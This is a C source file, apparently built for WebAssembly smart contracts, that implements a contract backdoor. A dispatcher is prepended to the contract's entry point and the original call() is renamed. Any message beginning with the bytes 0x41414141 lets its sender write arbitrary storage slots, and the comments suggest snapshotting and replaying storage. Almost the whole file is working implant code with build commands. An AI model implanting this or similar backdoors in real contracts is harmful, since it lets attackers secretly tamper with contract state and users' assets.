/*#https://surma.dev/things/c-to-webassembly/ $ brew install llvm $ brew link --force llvm clang --target=wasm32 -emit-llvm -c -S backdoor.c llc -march=wasm32 -filetype=obj backdoor.ll wasm-ld backdoor.o --no-entry --export-all --allow-undefined -o backdoor.wasm wasm2wat --generate-names backdoor.wasm >backdoor.wat */ extern void input(void *value, int *value_size_ptr); extern int set_storage(void *key, int key_size, void *value, int value_size); extern void seal_return(int, void *result, int result_size); extern void inner_call(); #define MAXSIZE 16384 /* Wellcome to the backdoor, this is a simple backdoor that allows you to set values in arbitrary storage slots. Basic attack could be to take stapshots of the storage and then replay them later. This dispatcher is hooked and prepended to the normal contract entry point. The target contract call() is renamed to inner_call() in the implantation process. The backdoor_distpatcher acts as a guard and will call the paytload only when certain conditions are met. Here the attacker just needs to send AAAA at the begining of the message. But other more complex scenarios can be implemented. Like using unused bits, or signing special messages... etc. To set a value in the storage send a message with this looks: [0x41414141][KEYSIZE][KEY ....][VALUESIZE][VALUE .....] set_storage */ void backdoor_distpatcher() { int size_input = MAXSIZE; char buffer[MAXSIZE]; void *ptr = &buffer; // Using the stack as a buffer for the input // This is going to be unwind/free when we return from my_dispatcher input(&buffer, &size_input); if (size_input < 8) return; if (*((int *)ptr) == 0x41414141) { /* [0x41414141][KEYSIZE][KEY ....][VALUESIZE][VALUE .....] */ unsigned key_size = *(int *)(ptr + 4); void *key_ptr = ptr + 8; if (size_input < 8 + key_size + 4) return; unsigned value_size = *(int *)(ptr + 8 + key_size); void *value_ptr = ptr + 8 + key_size + 4; if (size_input < 8 + key_size + 4 + value_size) return; // Returns the size of the pre-existing value at the specified key if any. Otherwise SENTINEL is returned as a sentinel value. int ret = set_storage(key_ptr, key_size, value_ptr, value_size); seal_return(0, &ret, 4); } } void call() { backdoor_distpatcher(); inner_call(); }